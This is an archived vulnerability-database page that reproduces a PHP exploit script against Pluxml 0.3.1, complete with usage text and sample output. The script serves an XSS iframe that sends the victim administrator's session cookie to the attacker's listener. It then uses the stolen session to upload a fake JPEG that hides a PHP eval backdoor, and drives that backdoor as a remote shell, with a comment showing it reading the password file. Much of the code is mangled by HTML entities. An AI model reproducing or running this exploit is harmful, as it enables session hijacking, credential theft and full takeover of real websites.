Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17351
HistoryJun 26, 2007 - 12:00 a.m.

Pluxml 0.3.1 Remote Code Execution Exploit

2007-06-2600:00:00
vulners.com
15

<?php

This file require the PhpSploit class.

If you want to use this class, the latest

version can be downloaded from acid-root.new.fr.

Note: The new version is compatible with PHP 4 by default.

##############################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');

C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196

[/]Waiting for connection on http://90.27.10.196:80/

[!]Now you have to make the victim to click on the url

[+]Received 395 bytes from 182.26.54.2:2007

[+]Sending 366 bytes to 182.26.54.2:2007

[+]Received 326 bytes from 182.26.54.2:2009

[+]Sending 366 bytes to 182.26.54.2:2009

[+]Received 692 bytes from 182.26.54.2:2010

[!]Received one cookie from 182.26.54.2:2010

[/]Verifying if there is a valid session id cookie

[-]No: pollvote=1

[!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b

[+]The created socket has been shut down

$shell> whoami

darkfig

if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------

         Credits: DarkFig &lt;[email protected]&gt;
             URL: acid-root.new.fr || mgsdl.free.fr
             IRC: #[email protected]
            Note: Coded for fun 8&#41;

Usage: $argv[0] -url <> -ip <> [Options]
Params: -url For example http://victim.com/pluxml0.3.1/
-ip The IP that will be bound to the socket
Options: -port The socket will listen on this port (default=80)
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>

");exit(1);
}

PhpSploit object

####################
$xpl = new phpsploit();
$xpl->agent('Firefox');

Server

##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url = "http://$server_addr:$server_port/";

Victim

##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";

Apparently my XSS bypass NoScript protection

################################################
$xss = "<iframe src='${hack}pluxml/admin/auth.php?msg="
."<script>document.location=(".char($server_url.'?c=')
.".concat(document.cookie))</script>'"
." height=0 width=0>";

Socket

##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);

print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";

Wait until we get admin rights

##################################
while(TRUE)
{
$packet = '';

    if&#40;!$msg = socket_accept&#40;$handle&#41;&#41;
       exit&#40;1&#41;;

    # End of the packet ?
    ######################
    while&#40;!ereg&#40;&quot;&#92;r&#92;n&#92;r&#92;n&quot;,$packet&#41;&#41;
       $packet .= socket_read&#40;$msg, 2048, PHP_BINARY_READ&#41;;
       
    socket_getpeername&#40;$msg, $clientaddr, $clientport&#41;;
    print &quot;&#92;n[+]Received &quot;.strlen&#40;$packet&#41;.&quot; bytes from $clientaddr:$clientport&quot;;

    # Server response
    ##################
    $serv =
     &quot;HTTP 1.x 200 OK&#92;r&#92;n&quot;
    .&quot;Connection: close&#92;r&#92;n&quot;
    .&quot;Transfer-Encoding: chunked&#92;r&#92;n&quot;
    .&quot;Content-Type: text/html&#92;r&#92;n&#92;r&#92;n&quot;
    .$html.$xss.&quot;&#92;r&#92;n&#92;r&#92;n&quot;;

    # Is there a cookie ?
    #######################
    if&#40;preg_match&#40;&quot;#&#92;?c=&#40;&#92;S*&#41; HTTP/1&#92;.&#40;[01x]+&#41;#&quot;, $packet, $cookies&#41;&#41;
    {
            print &quot;&#92;n[!]Received one cookie from $clientaddr:$clientport&quot;;
            print &quot;&#92;n[/]Verifying if there is a valid session id cookie&quot;;
            $cookie = explode&#40;&#39;;&#37;20&#39;,$cookies[1]&#41;;
            
            foreach&#40;$cookie as $session&#41;
            {
                    # Valid session id ?
                    #######################
                    if&#40;is_valid_session&#40;$session&#41;&#41;
                    
                       # Let&#39;s upload a file
                       #######################
                       code_execution&#40;&#41;;
            }
            print &quot;&#92;n[-]No valid session id cookie found&quot;;
            print &quot;&#92;n[/]Always waiting for connection&quot;;
    }
    # Answer to the client
    ########################
    else
    {
            print &quot;&#92;n[+]Sending &quot;.strlen&#40;$serv&#41;.&quot; bytes to $clientaddr:$clientport&quot;;
            socket_write&#40;$msg, $serv, strlen&#40;$serv&#41;&#41;;
    }
    socket_close&#40;$msg&#41;;

}

Function which is like getopt()

###################################
function getparam($param,$opt='')
{
global $argv;

    foreach&#40;$argv as $value =&gt; $key&#41;
    {
            if&#40;$key == &#39;-&#39;.$param&#41;
               return $argv[$value+1];
    }
    
    if&#40;$opt&#41;
       exit&#40;&quot;-$param parameter required&quot;&#41;;
    else
       return;

}

Bypass magic_quotes_gpc

###########################
function char($data)
{
$char = 'String.fromCharCode(';

    for&#40;$i=0;$i&lt;strlen&#40;$data&#41;;$i++&#41;
    {
            $char .= ord&#40;$data[$i]&#41;;
            if&#40;$i != &#40;strlen&#40;$data&#41;-1&#41;&#41;
               $char .= &#39;,&#39;;
    }
    return $char.&#39;&#41;&#39;;

}

Admin session always available ?

###################################
function is_valid_session($session)
{
global $xpl,$hack;

    $xpl-&gt;addheader&#40;&#39;Cookie&#39;,$session&#41;;
    $xpl-&gt;get&#40;$hack.&#39;pluxml/admin/index.php&#39;&#41;;
    
    if&#40;eregi&#40;&#39;Location: auth.php&#39;, $xpl-&gt;getheader&#40;&#41;&#41;&#41;
    {
            print &quot;&#92;n[-]No: $session&quot;;
            return FALSE;
    }
    else
    {
            print &quot;&#92;n[!]Yes: $session&quot;;
            return TRUE;
    }

}

File upload vulnerability

#############################
function code_execution()
{
global $xpl,$hack,$msg;

    socket_close&#40;$msg&#41;;
    print &quot;&#92;n[+]The created socket has been shut down&quot;;
    
    # +images.php [File Upload Vulnerability]
    # |
    # 11. if&#40;!empty&#40;$_FILES&#41;&#41;{
    # 12.    $uploaddir = &#39;../../images/&#39;;
    # 13.    $uploadfile = $uploaddir . basename&#40;$_FILES[&#39;userfile&#39;][&#39;name&#39;]&#41;;
    # 14. if&#40;getimagesize&#40;$_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;]&#41;&#41;{
    # 15.    move_uploaded_file&#40;$_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;],$uploadfile&#41;;
    # 16.    chmod&#40;$uploadfile, 0777&#41;;
    # 17.    $msg = &#39;Image envoyΠΉe&#39;;
    # 18. }else{
    # 19.    $msg = &#39;Le fichier n&#92;&#39;est pas une image&#39;;
    # 20. }
    # 21. header&#40;&#39;Location: images.php?msg=&#39;.$msg&#41;;
    # 22. }
    #
    # Fake JPG 1x1
    # 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..&lt;?php..if&#40;isse
    # 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t&#40;$_SERVER[HTTP_
    # 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]&#41;&#41;..{..pri
    # 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
    # 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval&#40;$_SERV
    # 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]&#41;;
    # 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
    # 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?&#92;&gt;.
    #
    $fakejpg =
    &quot;&#92;xFF&#92;xD8&#92;xFF&#92;xE0&#92;x00&#92;x10&#92;x4A&#92;x46&#92;x49&#92;x46&#92;x00&#92;x01&#92;x01&#92;x01&#92;x00&quot;
    .&quot;&#92;x60&#92;x00&#92;x60&#92;x00&#92;x00&#92;xFF&#92;xDB&#92;x00&#92;x43&#92;x00&#92;x08&#92;x06&#92;x06&#92;x07&#92;x06&quot;
    .&quot;&#92;x05&#92;x08&#92;x07&#92;x07&#92;x07&#92;x09&#92;x09&#92;x08&#92;x0A&#92;x0C&#92;x14&#92;x0D&#92;x0C&#92;x0B&#92;x0B&quot;
    .&quot;&#92;x0C&#92;x19&#92;x12&#92;x13&#92;x0F&#92;x14&#92;x1D&#92;x1A&#92;x1F&#92;x1E&#92;x1D&#92;x1A&#92;x1C&#92;x1C&#92;x20&quot;
    .&quot;&#92;x24&#92;x2E&#92;x27&#92;x20&#92;x22&#92;x2C&#92;x23&#92;x1C&#92;x1C&#92;x28&#92;x37&#92;x29&#92;x2C&#92;x30&#92;x31&quot;
    .&quot;&#92;x34&#92;x34&#92;x34&#92;x1F&#92;x27&#92;x39&#92;x3D&#92;x38&#92;x32&#92;x3C&#92;x2E&#92;x33&#92;x34&#92;x32&#92;xFF&quot;
    .&quot;&#92;xDB&#92;x00&#92;x43&#92;x01&#92;x09&#92;x09&#92;x09&#92;x0C&#92;x0B&#92;x0C&#92;x18&#92;x0D&#92;x0D&#92;x18&#92;x32&quot;
    .&quot;&#92;x21&#92;x1C&#92;x21&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&quot;
    .&quot;&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&quot;
    .&quot;&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&quot;
    .&quot;&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;x32&#92;xFF&#92;xFE&#92;x00&#92;x7F&#92;x3C&#92;x3F&#92;x70&quot;
    .&quot;&#92;x68&#92;x70&#92;x0D&#92;x0A&#92;x69&#92;x66&#92;x28&#92;x69&#92;x73&#92;x73&#92;x65&#92;x74&#92;x28&#92;x24&#92;x5F&quot;
    .&quot;&#92;x53&#92;x45&#92;x52&#92;x56&#92;x45&#92;x52&#92;x5B&#92;x48&#92;x54&#92;x54&#92;x50&#92;x5F&#92;x53&#92;x48&#92;x45&quot;
    .&quot;&#92;x4C&#92;x4C&#92;x5D&#92;x29&#92;x29&#92;x0D&#92;x0A&#92;x7B&#92;x0D&#92;x0A&#92;x70&#92;x72&#92;x69&#92;x6E&#92;x74&quot;
    .&quot;&#92;x20&#92;x31&#92;x32&#92;x33&#92;x34&#92;x35&#92;x36&#92;x37&#92;x38&#92;x39&#92;x31&#92;x30&#92;x31&#92;x31&#92;x31&quot;
    .&quot;&#92;x32&#92;x3B&#92;x0D&#92;x0A&#92;x65&#92;x76&#92;x61&#92;x6C&#92;x28&#92;x24&#92;x5F&#92;x53&#92;x45&#92;x52&#92;x56&quot;
    .&quot;&#92;x45&#92;x52&#92;x5B&#92;x48&#92;x54&#92;x54&#92;x50&#92;x5F&#92;x53&#92;x48&#92;x45&#92;x4C&#92;x4C&#92;x5D&#92;x29&quot;
    .&quot;&#92;x3B&#92;x0D&#92;x0A&#92;x70&#92;x72&#92;x69&#92;x6E&#92;x74&#92;x20&#92;x31&#92;x32&#92;x33&#92;x34&#92;x35&#92;x36&quot;
    .&quot;&#92;x37&#92;x38&#92;x39&#92;x31&#92;x30&#92;x31&#92;x31&#92;x31&#92;x32&#92;x3B&#92;x0D&#92;x0A&#92;x7D&#92;x0D&#92;x0A&quot;
    .&quot;&#92;x3F&#92;x3E&#92;xFF&#92;xC0&#92;x00&#92;x11&#92;x08&#92;x00&#92;x01&#92;x00&#92;x01&#92;x03&#92;x01&#92;x22&#92;x00&quot;
    .&quot;&#92;x02&#92;x11&#92;x01&#92;x03&#92;x11&#92;x01&#92;xFF&#92;xC4&#92;x00&#92;x1F&#92;x00&#92;x00&#92;x01&#92;x05&#92;x01&quot;
    .&quot;&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x01&#92;x02&quot;
    .&quot;&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0A&#92;x0B&#92;xFF&#92;xC4&#92;x00&#92;xB5&#92;x10&#92;x00&quot;
    .&quot;&#92;x02&#92;x01&#92;x03&#92;x03&#92;x02&#92;x04&#92;x03&#92;x05&#92;x05&#92;x04&#92;x04&#92;x00&#92;x00&#92;x01&#92;x7D&quot;
    .&quot;&#92;x01&#92;x02&#92;x03&#92;x00&#92;x04&#92;x11&#92;x05&#92;x12&#92;x21&#92;x31&#92;x41&#92;x06&#92;x13&#92;x51&#92;x61&quot;
    .&quot;&#92;x07&#92;x22&#92;x71&#92;x14&#92;x32&#92;x81&#92;x91&#92;xA1&#92;x08&#92;x23&#92;x42&#92;xB1&#92;xC1&#92;x15&#92;x52&quot;
    .&quot;&#92;xD1&#92;xF0&#92;x24&#92;x33&#92;x62&#92;x72&#92;x82&#92;x09&#92;x0A&#92;x16&#92;x17&#92;x18&#92;x19&#92;x1A&#92;x25&quot;
    .&quot;&#92;x26&#92;x27&#92;x28&#92;x29&#92;x2A&#92;x34&#92;x35&#92;x36&#92;x37&#92;x38&#92;x39&#92;x3A&#92;x43&#92;x44&#92;x45&quot;
    .&quot;&#92;x46&#92;x47&#92;x48&#92;x49&#92;x4A&#92;x53&#92;x54&#92;x55&#92;x56&#92;x57&#92;x58&#92;x59&#92;x5A&#92;x63&#92;x64&quot;
    .&quot;&#92;x65&#92;x66&#92;x67&#92;x68&#92;x69&#92;x6A&#92;x73&#92;x74&#92;x75&#92;x76&#92;x77&#92;x78&#92;x79&#92;x7A&#92;x83&quot;
    .&quot;&#92;x84&#92;x85&#92;x86&#92;x87&#92;x88&#92;x89&#92;x8A&#92;x92&#92;x93&#92;x94&#92;x95&#92;x96&#92;x97&#92;x98&#92;x99&quot;
    .&quot;&#92;x9A&#92;xA2&#92;xA3&#92;xA4&#92;xA5&#92;xA6&#92;xA7&#92;xA8&#92;xA9&#92;xAA&#92;xB2&#92;xB3&#92;xB4&#92;xB5&#92;xB6&quot;
    .&quot;&#92;xB7&#92;xB8&#92;xB9&#92;xBA&#92;xC2&#92;xC3&#92;xC4&#92;xC5&#92;xC6&#92;xC7&#92;xC8&#92;xC9&#92;xCA&#92;xD2&#92;xD3&quot;
    .&quot;&#92;xD4&#92;xD5&#92;xD6&#92;xD7&#92;xD8&#92;xD9&#92;xDA&#92;xE1&#92;xE2&#92;xE3&#92;xE4&#92;xE5&#92;xE6&#92;xE7&#92;xE8&quot;
    .&quot;&#92;xE9&#92;xEA&#92;xF1&#92;xF2&#92;xF3&#92;xF4&#92;xF5&#92;xF6&#92;xF7&#92;xF8&#92;xF9&#92;xFA&#92;xFF&#92;xC4&#92;x00&quot;
    .&quot;&#92;x1F&#92;x01&#92;x00&#92;x03&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x01&#92;x00&#92;x00&quot;
    .&quot;&#92;x00&#92;x00&#92;x00&#92;x00&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0A&#92;x0B&quot;
    .&quot;&#92;xFF&#92;xC4&#92;x00&#92;xB5&#92;x11&#92;x00&#92;x02&#92;x01&#92;x02&#92;x04&#92;x04&#92;x03&#92;x04&#92;x07&#92;x05&quot;
    .&quot;&#92;x04&#92;x04&#92;x00&#92;x01&#92;x02&#92;x77&#92;x00&#92;x01&#92;x02&#92;x03&#92;x11&#92;x04&#92;x05&#92;x21&#92;x31&quot;
    .&quot;&#92;x06&#92;x12&#92;x41&#92;x51&#92;x07&#92;x61&#92;x71&#92;x13&#92;x22&#92;x32&#92;x81&#92;x08&#92;x14&#92;x42&#92;x91&quot;
    .&quot;&#92;xA1&#92;xB1&#92;xC1&#92;x09&#92;x23&#92;x33&#92;x52&#92;xF0&#92;x15&#92;x62&#92;x72&#92;xD1&#92;x0A&#92;x16&#92;x24&quot;
    .&quot;&#92;x34&#92;xE1&#92;x25&#92;xF1&#92;x17&#92;x18&#92;x19&#92;x1A&#92;x26&#92;x27&#92;x28&#92;x29&#92;x2A&#92;x35&#92;x36&quot;
    .&quot;&#92;x37&#92;x38&#92;x39&#92;x3A&#92;x43&#92;x44&#92;x45&#92;x46&#92;x47&#92;x48&#92;x49&#92;x4A&#92;x53&#92;x54&#92;x55&quot;
    .&quot;&#92;x56&#92;x57&#92;x58&#92;x59&#92;x5A&#92;x63&#92;x64&#92;x65&#92;x66&#92;x67&#92;x68&#92;x69&#92;x6A&#92;x73&#92;x74&quot;
    .&quot;&#92;x75&#92;x76&#92;x77&#92;x78&#92;x79&#92;x7A&#92;x82&#92;x83&#92;x84&#92;x85&#92;x86&#92;x87&#92;x88&#92;x89&#92;x8A&quot;
    .&quot;&#92;x92&#92;x93&#92;x94&#92;x95&#92;x96&#92;x97&#92;x98&#92;x99&#92;x9A&#92;xA2&#92;xA3&#92;xA4&#92;xA5&#92;xA6&#92;xA7&quot;
    .&quot;&#92;xA8&#92;xA9&#92;xAA&#92;xB2&#92;xB3&#92;xB4&#92;xB5&#92;xB6&#92;xB7&#92;xB8&#92;xB9&#92;xBA&#92;xC2&#92;xC3&#92;xC4&quot;
    .&quot;&#92;xC5&#92;xC6&#92;xC7&#92;xC8&#92;xC9&#92;xCA&#92;xD2&#92;xD3&#92;xD4&#92;xD5&#92;xD6&#92;xD7&#92;xD8&#92;xD9&#92;xDA&quot;
    .&quot;&#92;xE2&#92;xE3&#92;xE4&#92;xE5&#92;xE6&#92;xE7&#92;xE8&#92;xE9&#92;xEA&#92;xF2&#92;xF3&#92;xF4&#92;xF5&#92;xF6&#92;xF7&quot;
    .&quot;&#92;xF8&#92;xF9&#92;xFA&#92;xFF&#92;xDA&#92;x00&#92;x0C&#92;x03&#92;x01&#92;x00&#92;x02&#92;x11&#92;x03&#92;x11&#92;x00&quot;
    .&quot;&#92;x3F&#92;x00&#92;xF7&#92;xFA&#92;x28&#92;xA2&#92;x80&#92;x3F&#92;xFF&#92;xD9&quot;;
    
    $formdata = array&#40;
                frmdt_url =&gt; $hack.&#39;pluxml/admin/images.php&#39;,
                &#39;userfile&#39; =&gt; array&#40;
                              frmdt_filename =&gt; &#39;iwashere.php&#39;,
                              frmdt_content =&gt; $fakejpg&#41;&#41;;

    $xpl-&gt;formdata&#40;$formdata&#41;;
    print &quot;&#92;n&#92;$shell&gt; &quot;;

    while&#40;!preg_match&#40;&#39;#^&#40;quit|exit&#41;$#&#39;, &#40;$cmd = trim&#40;fgets&#40;STDIN&#41;&#41;&#41;&#41;&#41;
    {
            # $shell&gt; cat ../pluxml/conf/password.xml
            ########################################
            $xpl-&gt;addheader&#40;&#39;Shell&#39;,&quot;system&#40;&#39;$cmd&#39;&#41;;&quot;&#41;;
            $xpl-&gt;get&#40;$hack.&#39;images/iwashere.php&#39;&#41;;
            $content = explode&#40;&#39;1.23456789101E+014&#39;,$xpl-&gt;getcontent&#40;&#41;&#41;;
            print $content[1].&quot;&#92;n&#92;$shell&gt; &quot;;
    }
    exit&#40;0&#41;;

}

?>